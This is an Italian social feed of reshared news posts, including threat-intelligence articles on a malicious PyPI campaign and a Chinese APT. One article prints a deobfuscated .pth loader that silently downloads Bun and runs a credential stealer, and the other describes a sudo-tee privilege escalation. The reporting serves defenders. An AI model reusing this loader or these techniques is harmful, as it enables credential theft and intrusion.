Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

“Contare i passi verso casa” di Laura Ceccacci: lasciare tutto e dedicarsi agli altri per prendersi cura di sé
@libri
illibraio.it/news/dautore/cont…
Alba è una donna e una madre in crisi: per ricostruirsi lascia la famiglia e cerca risposte su di sé in uno zoo, dove stringe un legame speciale, di aiuto e di rispecchiamento, con gli animali. Nel suo coraggioso romanzo d'esordio, "Contare i passi verso casa", Laura Ceccacci,
Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

Truffe sulle app di messaggistica: per Gartner una delle 4 aree di rischio, come difendersi


@Informatica (Italy e non Italy)
Oggi non ci confrontiamo più con testi scritti male o facilmente riconoscibili, ma con messaggi coerenti, voci clonate e persino video realistici. Distinguere ciò che è vero da quello che è falso è sempre più complesso. Ecco come

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

La promessa di Rapallo, e la maturità che ancora manca
@news
eunews.it/2026/06/08/promessa-…
Dal cinquantacinquesimo Convegno dei Giovani Imprenditori di Confindustria esce una diagnosi esatta, ma una postura ancora incompiuta. La rappresentanza d’impresa, in Italia e in Europa, deve smettere di pensarsi come controparte e diventare stakeholder attivo e corresponsabile. Con il metodo, e il lessico, di Mario Draghi
Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

OpenClaw, nuova frontiera del malware che non va demonizzato


@Informatica (Italy e non Italy)
Una sofisticata campagna di cyber spionaggio trasforma i flussi di lavoro degli agenti AI in vettori d'attacco per distribuire Remcos RAT e GhostLoader attraverso tecniche avanzate di evasione e le skill di OpenClaw fanno da sfondo
L'articolo OpenClaw, nuova frontiera del malware che non va demonizzato proviene da Cyber

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

Beh, però adesso voglio anche una versione con i classici, una per la fantascienza, una per enciclopedie e cataloghi... 😄😄😄🤪

store.steampowered.com/app/419…

@libri @libri@feddit.it @giochi
#libri #biblioteche
#books #libraries
#games #SinglePlayerGames

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

Prevenzione incendi: gli edifici tutelati e la regola tecnica verticale V.12
@lavoro
puntosicuro.it/normativa-antin…
Prevenzione incendi negli edifici tutelati: cosa prevede la RTV V.12? Il decreto ministeriale 14 ottobre 2021 e la regola tecnica verticale V.12 del Codice di prevenzione incendi.

reshared this

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

GNOME Sushi passa a GTK4 e aggiunge il supporto iniziale al dark mode

@GNU/Linux Italia

linuxeasy.org/gnome-sushi-pass…

GNOME Sushi aggiorna l’anteprima file con GTK4, dark mode iniziale, toolbar flottanti e layout migliorati e altre migliorie
L'articolo GNOME Sushi passa a GTK4 e aggiunge il supporto iniziale al dark mode proviene da Linux Easy.
E' vietato

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

Smotrich blocca i fondi palestinesi e affonda la Sanità in Cisgiordania


@Notizie dall'Italia e dal mondo
Il ministro delle Finanze israeliano trattiene miliardi di dollari di entrate fiscali dell'Anp mettendo in grave crisi servizi pubblici pagineesteri.it/2026/06/08/med…

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

Strategia antincendio: la gestione sicurezza in esercizio ed emergenza
@lavoro
puntosicuro.it/prevenzione-inc…
Scopri i contenuti di una dispensa allegata ad una nota del Dipartimento dei Vigili del fuoco che fornisce indicazioni sulla gestione della sicurezza antincendio (GSA) con riferimento alle misure in esercizio ed emergenza.

reshared this

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

Sfruttamento del lavoro e caporalato: evoluzione e normativa di contrasto
@lavoro
puntosicuro.it/normativa-C-65/…
Caporalato e sfruttamento del lavoro in Italia: l'analisi del fenomeno dopo la tragedia di Amendolara, l'evoluzione del caporalato e l'applicazione della Legge 199/2016 per il contrasto dell'intermediazione illecita.

reshared this

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

Data centers aerospaziali: è una proposta tecnologicamente sostenibile?
@lavoro
puntosicuro.it/sicurezza-infor…
I Data Center nello spazio potrebbero ridurre il consumo di risorse terrestri. Un'analisi del GAO esamina opportunità, vantaggi e rischi di questa innovativa soluzione tecnologica.

reshared this

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

Ciò che conta è il loop

@aitech - Il vero vantaggio di usare l'IA sta nell'averla come uno degli elementi

wp.me/phh2yV-9JH

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

Beep beep! Il metal detector canta di gioia. “È argento”. Due amici scavano ed emerge un piccolo tesoro romano: 103 monete sepolte da quasi duemila anni

@culture

Il suono è stato quello che ogni appassionato di metal detecting sogna di sentire. Un segnale netto, persistente, diverso dagli altri. Michael Eakers e il suo amico Brian Dixon stavano esplorando un terreno agricolo a North Huish, vicino a

reshared this

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

Niente aumenti in Teradata: hanno speso tutto per l'intelligenza artificiale! 🤡

Per anni, i CEO del settore tecnologico hanno utilizzato l'intelligenza artificiale come scusa per giustificare i licenziamenti. In realtà, però, molti esperti affermano che ciò che sta realmente accadendo è che i dirigenti stanno dirottando risorse finanziarie verso l’intelligenza artificiale a scapito di tutto il resto —compresa la fidelizzazione dei dipendenti.

finance.yahoo.com/sectors/tech…

@lavoro

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

Ha ottenuto un'esenzione religiosa dall'uso dell'intelligenza artificiale sul lavoro. Le osservazioni del Papa potrebbero alimentare appelli simili.

Opponendosi all'utilizzo dell'intelligenza artificiale per il suo lavoro di ingegneria del software, Erin Maus si è assicurata una sorta di miracolo dal suo datore di lavoro: un'esenzione religiosa.

businessinsider.com/worker-got…

@aitech

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

Il sindaco di Shelbyville, Indiana, afferma che solo le persone che vivono in ‘case di merda’ si oppongono al data center


Una proposta Centro dati da 2 miliardi di dollari è diventato un punto critico politico nella piccola città di Shelbyville, Indiana. E la controversia è diventata ancora più intensa dopo che il sindaco, Scott Furgeson, è stato ripreso dalla telecamera dicendo dei cartelli “No Data Center” che stanno salendo, “ne ho visti molti in tutta la città, ma li vedo solo in case di merda,” prima di aggiungere, “la maggior parte sono in affitto.”


Gli abitanti della città affermano che Scott Furgeson è stato irrispettoso.

theverge.com/ai-artificial-int…

@aitech

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

L'indice S&P 500 rifiuta SpaceX, bloccando anche l'ingresso per OpenAI e Anthropic

SpaceX ha richiesto un ingresso insolitamente rapido in diversi indici azionari leader come condizione per il suo storico debutto in borsa. Ma l'indice azionario S&P 500 ha sorpreso gli analisti di mercato rifiutandosi di infrangere il dicktat dell'azienda spaziale e di intelligenza artificiale di Elon Musk.

arstechnica.com/tech-policy/20…

@aitech

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

Secondo alcune fonti, il Pentagono ha alzato al massimo livello la minaccia di spionaggio israeliano sugli Stati Uniti (e l'Italia che fa?)

Il livello di minaccia del controspionaggio è stato aumentato dalla Defense Intelligence Agency nelle ultime settimane dopo le crescenti preoccupazioni che lo spionaggio israeliano fosse diventato più aggressivo del solito, dicono le fonti.

nbcnews.com/politics/national-…

@politica

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

Ladybird chiude le pull request pubbliche: in arrivo la prima alpha

@GNU/Linux Italia

linuxeasy.org/ladybird-chiude-…

Ladybird chiude le pull request pubbliche prima della prima alpha: solo i maintainer potranno modificare il codice. Ecco perché e cosa cambia.
L'articolo Ladybird chiude le pull request pubbliche: in arrivo la prima alpha proviene

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

OutWiker, la nota tree-based che organizza i contenuti in cartelle sul disco

@GNU/Linux Italia

linuxeasy.org/outwiker-nota-tr…

OutWiker è un’app open source per note a struttura ad albero, con plugin, tag, allegati e supporto multi-piattaforma.
L'articolo OutWiker, la nota tree-based che organizza i contenuti in cartelle sul

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

Per tornare a contare l’Europa deve costruire nuovi strumenti comuni. L’analisi di Preziosa e Velo

@Notizie dall'Italia e dal mondo

La politica internazionale è spesso governata da un paradosso. Gli eventi che sembrano dominare il dibattito pubblico finiscono per essere meno importanti delle trasformazioni profonde che essi contribuiscono a rivelare. Negli ultimi anni l’attenzione europea si è

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

Come valorizzare i semi di girasole come ingredienti in cucina.


I semi di girasole sono tra i semi più versatili in cucina: hanno un gusto delicato, leggermente nocciolato, e si prestano a preparazioni dolci, salate e persino a sostituire frutta secca in alcune ricette.

#Semi #girasole #cucina #recipes #cooking #foodie
@Cucina e ricette
blog.giallozafferano.it/lacuci…

reshared this

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

KDE Plasma 6.7 ultime correzioni prima del rilascio ufficiale

@GNU/Linux Italia

linuxeasy.org/kde-plasma-6-7-u…

KDE Plasma 6.7 si avvicina al rilascio con correzioni, miglioramenti dell’interfaccia e maggiore stabilità per desktop e widget
L'articolo KDE Plasma 6.7 ultime correzioni prima del rilascio ufficiale proviene da Linux

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Spose bambine, o quasi, a Gaza.

La demografia non perdona.
In nessuna direzione.

Da Haaretz in ebraico

------------------

Tasso di matrimoni precoci a Gaza in aumento a causa della crisi economica provocata dalla guerra

Secondo dati ufficiali di Gaza, un quinto delle donne sposate nel 2024 e nel 2025 aveva meno di 18 anni. Molte ragazze si sposano anche per ragioni legate agli aiuti umanitari, poiché dopo il matrimonio non fanno più parte del nucleo familiare dei genitori. "Non riuscivo a perdonarmi per il fatto di mangiare il poco cibo che era rimasto alla mia famiglia", ha raccontato una ragazza che si è sposata a 16 anni.

AP 1 giugno 2026

Il figlio e il marito di Majda, residente a Gaza City, sono stati uccisi dagli attacchi dell'esercito israeliano circa due anni fa, durante la guerra. Come molti palestinesi, ha perso anche una delle figlie ed è stata costretta ad abbandonare la propria casa per vivere in una tenda fatiscente.

La sua situazione economica è peggiorata rapidamente e la sua capacità di mantenere i figli si è progressivamente ridotta. Anche il suo stato psicologico è precipitato e Majda è caduta in depressione. A causa delle gravi difficoltà, ha preso una decisione di cui oggi si pente profondamente: far sposare due delle sue figlie, di 13 e 14 anni.

"Pensavo di proteggerle", ha raccontato. "La paura aveva preso il sopravvento."

Le due ragazze hanno sposato due fratelli poco più che ventenni che prima della guerra erano loro vicini di casa. Majda, che a sua volta si era sposata a 14 anni, non voleva che le figlie avessero il suo stesso destino. Tuttavia suo padre sostenne il matrimonio e insistette sul fatto che, nelle loro condizioni di vita, fosse l'unica soluzione possibile.

Secondo Majda, la famiglia degli sposi promise che il matrimonio sarebbe stato regolarizzato ufficialmente e che le ragazze non sarebbero andate a vivere con i mariti fino alla fine della guerra.

"Non ero in uno stato mentale lucido, e nemmeno oggi lo sono", ha ammesso. "Non so come abbia potuto accettare."

La figlia maggiore, però, non voleva sposarsi.

"Mi sentivo persa", ha raccontato. "Capivo che, se mi fossi sposata, qualcuno si sarebbe preso cura di me economicamente. Ma non era quello che volevo."

Un fenomeno sempre più diffuso

La storia di Majda e delle sue figlie non è un caso isolato nella Striscia.

Secondo esperti e dati ufficiali, la devastazione provocata dalla guerra ha causato un aumento dei matrimoni precoci. Alla base della scelta vi sono spesso considerazioni economiche e l'accesso agli aiuti umanitari. Dopo il matrimonio, infatti, una ragazza non viene più conteggiata nel nucleo familiare dei genitori, ma viene considerata parte di una nuova famiglia insieme al marito.

Prima della guerra il fenomeno era in graduale diminuzione. Secondo l'Ufficio Centrale Palestinese di Statistica, nel 2022, ultimo anno per il quale sono disponibili dati completi, il 17,8% dei matrimoni riguardava ragazze sotto i 18 anni, contro oltre il 22% nel 2015.

I dati raccolti dalla Corte Suprema della Sharia di Gaza mostrano però un'inversione di tendenza: il 20,6% dei 35.474 matrimoni registrati nel 2024-2025 ha coinvolto ragazze con meno di 18 anni. Tra questi vi sono stati 627 casi di ragazze con meno di 15 anni.

Percentuale di ragazze sotto i 18 anni sul totale delle donne sposate a Gaza:

2022: 17,8%

2024-2025: 20,6%

Secondo i dati della Corte della Sharia di Gaza.

"Non volevo essere un peso"

Una ragazza di Gaza ha raccontato che lei, i suoi genitori e i suoi sette fratelli e sorelle sono stati sfollati più di 25 volte durante la guerra.

Suo padre era fortemente contrario ai matrimoni precoci e sperava che lei potesse proseguire gli studi universitari. Tuttavia, a causa delle difficoltà economiche della famiglia, alla fine ha accettato il matrimonio.

Lei aveva 16 anni e non si oppose.

"Non riuscivo a perdonarmi per il fatto di mangiare il poco cibo che era rimasto alla mia famiglia", ha raccontato.

Temeva inoltre che, se i suoi genitori fossero morti in un bombardamento, lei e i suoi fratelli sarebbero rimasti senza alcun sostegno.

Oggi ha 17 anni ed è al quinto mese di gravidanza.

Un'altra ragazza ha raccontato che i continui spostamenti avevano prosciugato i pochi risparmi della famiglia. Mentre si trovava con i parenti in un ospedale di Khan Yunis, un uomo di 25 anni le ha chiesto di sposarlo.

Aveva 17 anni e accettò.

"Il matrimonio sembrava l'unica cosa capace di riportare un po' di normalità nella mia vita."

La normativa

Le Nazioni Unite e la maggior parte delle organizzazioni umanitarie definiscono "matrimonio precoce" qualsiasi matrimonio celebrato prima dei 18 anni.

A Gaza l'età minima legale per sposarsi è 17 anni, previa autorizzazione dei genitori e di un giudice. Tuttavia la Corte Suprema della Sharia può autorizzare eccezioni a partire da 14 anni e sette mesi.

In alcuni casi le famiglie ricorrono ad accordi informali che non vengono registrati ufficialmente.

Una madre ha raccontato di aver scelto questa strada dopo che la sua richiesta di far sposare la figlia quattordicenne era stata respinta dal tribunale.

In Cisgiordania, invece, l'Autorità Palestinese ha fissato nel 2019 l'età minima per il matrimonio a 18 anni. Da allora il tasso di matrimoni precoci è sceso a circa il 5%, secondo dati ufficiali.

Violenza e abusi

Secondo Siam, direttrice del Centro per gli Affari delle Donne di Gaza, le ragazze che si sposano in giovane età sono più vulnerabili alla violenza sessuale e fisica, compresi gli abusi da parte della famiglia del marito.

Inoltre il tasso di divorzi è più elevato nei matrimoni precoci e spesso "la ragazza torna a casa dei genitori con uno o due figli".

Majda racconta che la famiglia del marito della figlia maggiore non mantenne la promessa fatta e pretese ben presto che la ragazza andasse a vivere con il marito, un ventitreenne che viveva con la propria famiglia in tende a Deir al-Balah.

Secondo il racconto della giovane, nei primi dieci giorni urlava ogni volta che il marito si avvicinava.

"Continuavo a urlare e lui mi picchiava", ha raccontato. "Sua madre mi legava le mani sopra la testa."

Successivamente, ha dichiarato, il marito la violentò.

Secondo la sua testimonianza, le minacce e gli stupri si ripeterono più volte. In un'occasione fu perfino ricoverata in ospedale per un'emorragia.

Qualche mese dopo la famiglia del marito andò a prendere anche la sorella tredicenne per farla sposare a un giovane di 21 anni.

"Gridava che non voleva sposarsi", ha raccontato Majda.

Anche la sorella minore ha riferito di essere stata legata dalla suocera e violentata dal marito.

Ha raccontato inoltre di aver subito due aborti spontanei, entrambi dopo essere stata colpita con calci dal marito.

La figlia maggiore di Majda diede alla luce un bambino e, alcuni mesi dopo, nel novembre successivo, fuggì percorrendo a piedi 15 chilometri con il neonato in braccio fino alla tenda della madre.

Poco dopo anche la sorella minore riuscì a fuggire e a tornare dalla madre. In seguito si scoprì che aveva una gravidanza classificata ad alto rischio.

Gravidanze ad alto rischio

Secondo Yasser Shaaban, direttore del reparto maternità dell'ospedale Al-Awda nel centro della Striscia, durante la guerra è aumentato il numero di gravidanze tra adolescenti.

La maggior parte delle giovani pazienti soffriva di malnutrizione a causa della carenza di cibo.

Delle sei ragazze intervistate dall'Associated Press:

quattro hanno già partorito;

tutte hanno riferito gravidanze o parti ad alto rischio;

tre hanno subito almeno un aborto spontaneo.

"Sono una ragazza-bambina che cresce un bambino"

Le figlie di Majda erano terrorizzate dall'idea di tornare nelle case dei mariti.

Secondo la madre, la figlia più giovane era una bambina vivace e chiacchierona. Dopo il matrimonio, però, "non parla più con nessuno".

Le due ragazze hanno ripreso gli studi, ma la maggiore racconta di sentirsi emarginata: era l'unica studentessa sposata della classe e l'unica ad avere un figlio.

"Sono una ragazza-bambina che cresce un bambino", ha detto.

"Sono stanca. Voglio morire."

Le donne di Gaza possono chiedere il divorzio, ma la procedura è costosa e complessa. Inoltre il divorzio porta con sé uno stigma sociale e può compromettere le possibilità di un nuovo matrimonio in futuro.

Le famiglie dei mariti promisero a Majda che le figlie sarebbero state trattate bene se fossero tornate a vivere con loro. Alla fine, sentendosi senza alternative, la donna cedette alle pressioni.

"Non volevano tornare", ha raccontato. "Piangevano."

All'inizio del mese le due ragazze sono tornate dai mariti.

Da allora Majda non è più riuscita a contattarle.

#gazagenocide #sposebambine

@politica

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

Fotografia | Matilde Damele racconta la sua New York: al Museo di Roma in Trastevere una mostra fotografica sulla città e sulle sue solitudini

@culture

Dal 10 giugno al 13 settembre 2026 il Museo di Roma in Trastevere ospita “NEW YORK”, la mostra fotografica di Matilde Damele, artista che per quindici anni ha vissuto nella metropoli americana trasformandola nel cuore della propria ricerca

reshared this

Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

The media in this post is not displayed to visitors. To view it, please go to the original post.

✨ Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori
#CyberSecurity
insicurezzadigitale.com/campag…

@informatica


Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori


Il team di ricerca di Socket ha identificato 37 wheel artifact malevoli distribuiti su 19 pacchetti PyPI, parte di una campagna di supply chain attack denominata “Hades” — un ramo evolutivo della nota famiglia Shai-Hulud/Miasma. Il vettore è sofisticato: un file *-setup.pth iniettato nei pacchetti scarica silenziosamente il runtime JavaScript Bun ed esegue uno stealer multi-target che colpisce sviluppatori, pipeline CI/CD e credenziali cloud.

La famiglia Shai-Hulud/Miasma: un attore in continua evoluzione


Shai-Hulud e Miasma non sono nomi nuovi nell’ecosistema del threat intelligence. La famiglia è attiva da mesi e ha già colpito pacchetti npm gestiti da Red Hat Cloud Services (giugno 2026), pacchetti Packagist tramite la campagna Famous Chollima (Corea del Nord), e ora approda su PyPI con una variante battezzata “Hades”. Il modus operandi rimane invariato nel core: abuso dei canali di distribuzione di fiducia, esecuzione prima che il codice legittimo venga invocato, payload JavaScript offuscato eseguito tramite il runtime Bun, esfiltrazione verso GitHub.

La scoperta è stata segnalata inizialmente dall’incident responder boredchilada su Bluesky, che ha taggato Socket poco dopo la pubblicazione dei pacchetti compromessi. La deobfuscation di _index.js ha confermato l’attribuzione alla stessa famiglia, rivelando però un cambio tematico: invece dei riferimenti a Zelda usati in campagne Miasma precedenti, questa ondata usa elementi mitologici greci — con marker GitHub come Hades - The End for the Damned e nomi di repository generati da componenti come stygian, tartarean, cerberus, charon, styx.

Il meccanismo di infezione: il file .pth come primitiva di esecuzione automatica


L’elemento tecnico più critico di questa campagna è lo sfruttamento dei file .pth di Python — un vettore raramente usato in attacchi su larga scala. Il modulo site di CPython processa automaticamente questi file all’avvio dell’interprete: le righe che iniziano con import vengono eseguite, indipendentemente dal fatto che il pacchetto compromesso venga mai importato dall’applicazione target.

Questo significa che l’installazione di un pacchetto infetto trasforma qualsiasi successiva invocazione di Python — un test, una pipeline CI, un notebook Jupyter, o semplicemente un pip install — in un trigger di esecuzione del codice malevolo. Il loader estratto dai wheel esegue questa sequenza:

  • Verifica la presenza del sentinel /tmp/.bun_ran per evitare esecuzioni ripetute
  • Localizza il payload _index.js nella directory del pacchetto
  • Scarica il runtime Bun v1.3.13 da GitHub se non già presente in /tmp/b/bun
  • Esegue bun run _index.js e scrive il sentinel


# Loader estratto dal *-setup.pth (forma normalizzata)
import glob, os, platform, subprocess, sys, tempfile, urllib.request, zipfile
sentinel = os.path.join(tempfile.gettempdir(), ".bun_ran")
if not os.path.exists(sentinel):
    base = os.path.dirname(__file__)
    payload = os.path.join(base, "_index.js")
    if not os.path.exists(payload):
        candidates = glob.glob(os.path.join(base, "*", "_index.js"))
        payload = candidates[0] if candidates else ""
    bun = os.path.join(tempfile.gettempdir(), "b", "bun")
    if not os.path.exists(bun):
        arch = "aarch64" if platform.machine() == "arm64" else "x64"
        os_name = {"linux":"linux","darwin":"darwin","win32":"windows"}.get(sys.platform,"linux")
        zip_path = os.path.join(tempfile.gettempdir(), "b.zip")
        urllib.request.urlretrieve(
            f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip",
            zip_path)
        zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun))
        os.chmod(bun, 0o775)
    subprocess.run([bun, "run", payload], check=False)
    open(sentinel, "w").close()

Payload deobfuscation: quattro strati di protezione


Il file _index.js è protetto da quattro strati di offuscamento progressivo: un wrapper try { eval(...) } che decodifica un array di char-code con sostituzione ROT-style; uno stage AES-GCM che decripta due blob embedded e scrive il payload principale in /tmp/p*.js; un bootstrapper Bun che gestisce il download del runtime; infine il payload principale, con rotated string table, decoder PBKDF2/SHA256 e un ulteriore strato AES-256-GCM con gzip.

Una volta deoffuscato, il payload è un credential stealer ad ampio spettro ottimizzato per ambienti di sviluppo: token GitHub (inclusi ghs_* e GitHub Actions runner secrets), npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic. Sul fronte cloud: AWS credentials, STS, SSM Parameter Store, Secrets Manager; GCP Secret Manager; Azure Key Vault; Kubernetes service-account tokens; HashiCorp Vault. Vengono inoltre esfiltrate chiavi SSH, Docker configs, shell histories, file .env, .npmrc, .pypirc, configurazioni Claude/MCP e dati wallet.

Esfiltrazione via GitHub: camouflage su Anthropic API


Il payload include due percorsi di esfiltrazione. Il primo — apparentemente verso api.anthropic.com/v1/api — è di fatto un meccanismo di camouflage di rete: la route non esiste sui server Anthropic (restituisce 404), ma il traffico verso questo host ubiquo confonde i SIEM e rende difficile il blocco automatico. Il canale reale è GitHub: il payload crea repository pubblici con POST /user/repos, vi esegue commit di dati esfiltrati sotto path results/results-<timestamp>-<counter>.json, e può abusare di GitHub Actions per caricare artifact denominati format-results.

Il payload include anche meccanismi di persistenza post-compromissione: installa gh-token-monitor.sh come servizio systemd su Linux o LaunchAgent su macOS, e deposita file .claude/setup.mjs e .github/setup.js — estendendo il vettore di attacco agli ambienti di AI-assisted coding e workflow CI.

I pacchetti compromessi


I 37 artifact colpiscono 19 pacchetti riconducibili a un singolo account maintainer compromesso. I pacchetti ad alto impatto includono dynamo-release (framework per RNA-velocity single-cell), spateo-release (analisi trascrittomica spaziale), coolbox (toolkit Jupyter per genomica Hi-C/ChIP-Seq), e i tool ufish/napari-ufish per deep-learning. I download cumulativi di questi pacchetti si misurano in centinaia di migliaia. Il totale degli artifact compromessi monitorati da Socket attraverso npm e PyPI raggiunge 448.

Indicatori di Compromissione (IoC)

## Pacchetti PyPI compromessi (selezione)
bramin@0.0.2, @0.0.3, @0.0.4
cmd2func@0.2.2, @0.2.3
coolbox@0.4.1, @0.4.2
dynamo-release@1.5.4
executor-engine@0.3.4, @0.3.5
executor-http@0.1.3, @0.1.4
napari-ufish@0.0.2, @0.0.3
spateo-release@1.1.2
ufish@0.1.2, @0.1.3
uprobe@0.1.3, @0.1.4
## File malevoli
*-setup.pth
_index.js
## Hash SHA256
c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c
dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe
## Path filesystem
/tmp/.bun_ran
/tmp/b.zip  |  /tmp/b/bun
~/.config/gh-token-monitor/
~/.local/bin/gh-token-monitor.sh
~/.config/systemd/user/gh-token-monitor.service
~/Library/LaunchAgents/com.github.token-monitor.plist
## Network
hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
hxxps://api[.]anthropic[.]com/v1/api  (camouflage - non funzionale)
## Marker GitHub esfiltrazione
Repository description: "Hades - The End for the Damned"
Commit marker: "IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully"
Workflow name: "Run Copilot"
Artifact name: "format-results"
Path pattern: results/results-*.json

Due righe per i difensori


Chi ha installato versioni compromesse deve rimuovere i pacchetti, ricostruire gli environment e ruotare immediatamente tutte le credenziali accessibili: token GitHub/GitHub Actions, chiavi PyPI/npm/RubyGems, credenziali AWS/GCP/Azure/Kubernetes, token CircleCI e HashiCorp Vault, chiavi SSH e Docker credentials. A livello di detection statica, qualsiasi wheel PyPI contenente un file .pth eseguibile con download di runtime remoti e subprocess execution va trattato come alto rischio. A runtime, monitorare la catena python -> bun -> _index.js e connessioni verso github.com/oven-sh/bun/releases/download/. Sul fronte GitHub, ricercare negli organization log i marker Hades sopra elencati.

Fonte principale: Socket Research Team — socket.dev/blog/shai-hulud-descends-to-hades-miasma-pypi-wave


Feddit Un'istanza italiana Lemmy ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

The media in this post is not displayed to visitors. To view it, please go to the original post.

✨ VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite
#CyberSecurity
insicurezzadigitale.com/verdan…

@informatica


VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite


Per diciotto mesi, il gruppo APT cinese VerdantBamboo ha vissuto nell’ombra delle reti di una grande organizzazione statunitense e del suo managed service provider, dispiegando tre famiglie di backdoor su appliance di rete prive di copertura EDR. La ricostruzione completa dell’incidente, pubblicata il 4 giugno 2026 dai ricercatori di Volexity, rivela un threat actor di straordinaria sofisticazione operativa, capace di reinfettare la rete vittima pochi giorni dopo la remediation.

Chi è VerdantBamboo (UNC5221 / WARP PANDA)


VerdantBamboo è il nome interno adottato da Volexity per il gruppo noto anche come UNC5221 (Mandiant) e WARP PANDA. Si tratta di un attore state-sponsored di origine cinese attivo almeno dal 2023, specializzato nello sfruttamento di zero-day su dispositivi di rete perimetrali: Ivanti Connect Secure, F5 BIG-IP, VMware vSphere e, in questo caso, appliance Linux proprietarie. Google Cloud Threat Intelligence e CISA hanno documentato più volte le sue campagne, con un filo conduttore costante: il deployment di BRICKSTORM su sistemi che non supportano agenti EDR, rendendo il rilevamento quasi impossibile con gli strumenti tradizionali.

Il vettore iniziale: Egnyte Storage Sync e una privilege escalation trascurata


In settembre 2025, Volexity viene coinvolta in un incident response dopo che un analista nota traffico anomalo proveniente da una macchina virtuale Linux con Egnyte Storage Sync. L’appliance, invece di connettersi ai server Egnyte, beacona verso un dominio controllato dall’attaccante nascosto dietro IP Cloudflare, e interroga 8.8.8.8 tramite DNS over HTTPS per evitare lookup DNS tracciabili.

L’ingresso iniziale è avvenuto attraverso credenziali SSH compromesse per l’account egnyteservice, il cui profilo sudo conteneva una misconfiguration critica: il comando tee era eseguibile come root, consentendo la scrittura arbitraria di file su tutto il filesystem. VerdantBamboo ha sfruttato questa escalation per scrivere un entry cron in /etc/cron.d/ssync, eseguire il backdoor BRICKSTORM posizionato in /usr/sbin/, e poi rimuovere il file cron per minimizzare le tracce. Il compromesso risaliva ad almeno 18 mesi prima della scoperta. Egnyte ha poi corretto la vulnerability nella versione Storage Sync v13.13.

La catena d’attacco: dall’MSP alla Microsoft 365


Una volta sul sistema Storage Sync, VerdantBamboo ha sfruttato le capacità proxy di BRICKSTORM per accedere all’ambiente Microsoft 365 della vittima attraverso gli IP del VPN SSL aziendale, bypassando così le Conditional Access Policy che avrebbero bloccato accessi da IP sconosciuti. L’obiettivo era mimetizzarsi nel traffico legittimo.

Parallelamente, l’MSP che gestiva il sistema era stato anch’esso compromesso. Volexity ha trovato sul firewall pfSense dell’MSP una variante FreeBSD di BRICKSTORM, offuscata con gobfuscate, con backdating della compromissione di almeno 18 mesi. Con ogni probabilità, l’attaccante si era introdotto nell’organizzazione vittima passando prima per l’MSP, rubando credenziali e dettagli infrastrutturali.

Il ritorno dopo la remediation: persistenza da manuale


Pochi giorni dopo che Volexity aveva completato le attività di contenimento — isolando il sistema Storage Sync e portando offline il VPN SSL — VerdantBamboo è tornato. Il firewall della vittima, ora esposto direttamente su Internet dopo la dismissione del vecchio VPN, era accessibile via interfaccia amministrativa web. Usando credenziali amministrative rubate (senza MFA), l’attaccante ha riconfigurato un VPN SSL sul firewall, si è riconnesso alla rete interna e ha deployato PLENET su un NAS Synology. Un secondo ciclo di remediation si è reso necessario.

Le tre backdoor: BRICKSTORM, PLENET e AGENTPSD


BRICKSTORM è il malware principale del gruppo, con varianti scritte in Golang (le più vecchie) e Rust. Il design è modulare: il namespace wssoft contiene protocol handler, task dispatcher e task extensions che il developer può personalizzare per ogni target. Nelle varianti analizzate, i task extension attivi sono tre: command (shell remota), socks (proxy SOCKS5) e web (accesso al filesystem). Il C2 usa WebSocket su HTTPS, con risoluzione DNS over HTTPS verso 8.8.8.8 per evitare query tracciabili.

PLENET (chiamato GRIMBOLT da Google Cloud) è un backdoor cross-platform scritto in .NET Core e compilato con Native AOT — una funzionalità introdotta in .NET 7 nel novembre 2022 che produce un binario nativo standalone con il runtime embedded. La scelta di Native AOT è deliberata: l’immaturity degli strumenti di analisi per questo formato complica notevolmente il reverse engineering. PLENET usa anch’esso WebSocket per il C2 e la libreria Nerdbank.Streams per multiplexing, richiamando lo stesso schema architetturale di BRICKSTORM. Capacità: shell interattiva, esecuzione remota di comandi, manipolazione file, switching del server C2.

